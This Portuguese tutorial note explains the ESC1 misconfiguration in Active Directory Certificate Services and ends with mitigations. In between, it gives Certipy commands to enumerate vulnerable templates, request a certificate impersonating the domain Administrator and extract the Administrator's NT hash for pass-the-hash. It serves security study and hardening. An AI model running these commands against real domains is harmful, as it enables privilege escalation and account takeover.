# ESC1

O **ESC1** é a técnica mais famosa e direta de escalação de privilégios no **Active Directory Certificate Services (AD CS)**. Ele permite que um usuário comum solicite um certificado digital e se passe por qualquer outra pessoa (incluindo um **Domain Admin**).

## 1. O que é?

Ocorre quando um **Template de Certificado** está mal configurado e permite que o solicitante especifique um **SAN (Subject Alternative Name)** personalizado. O SAN é um campo do certificado que define a identidade do dono (ex: `Administrator`).

## 2. Como acontece? (Pré-requisitos)

Para que o ESC1 exista, quatro condições devem ser verdadeiras simultaneamente:

1. **Enrollment Rights:** Usuários comuns (ex: `Domain Users`) têm permissão para solicitar o certificado.
2. **Client Authentication:** O template permite o uso do certificado para autenticação (Smart Card Logon, Client Auth, etc).
3. **Manager Approval:** A aprovação do gerente de CA está **desabilitada** (o certificado é emitido na hora).
4. **CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT:** Esta é a falha principal. O template permite que o usuário forneça o nome do sujeito no pedido (CSR).

## 3. Como explorar? (Passo a passo)

**A. Enumeração (via Certipy):**

```
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10 -vulnerable
```

*Procure por: `[!] Vulnerabilities: ESC1`.*

**B. Solicitação do Certificado (Impersonando o Admin):**

```
certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnerableTemplate -upn administrator@domain.local
```

*Isso gera um arquivo `.pfx` para o usuário Administrator.*

**C. Autenticação e Obtenção do Hash NT:**

```
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
```

*O comando retornará o Hash NT do Administrador, que você pode usar via Pass-the-Hash.*

## 4. Como mitigar?

* Remover permissões de **Enroll** de grupos amplos (*Domain Users*, *Authenticated Users*)
* Desabilitar **“Supply in request”** em templates sensíveis
* Restringir EKUs apenas ao mínimo necessário
* Habilitar **Manager Approval** para emissão de certificados críticos
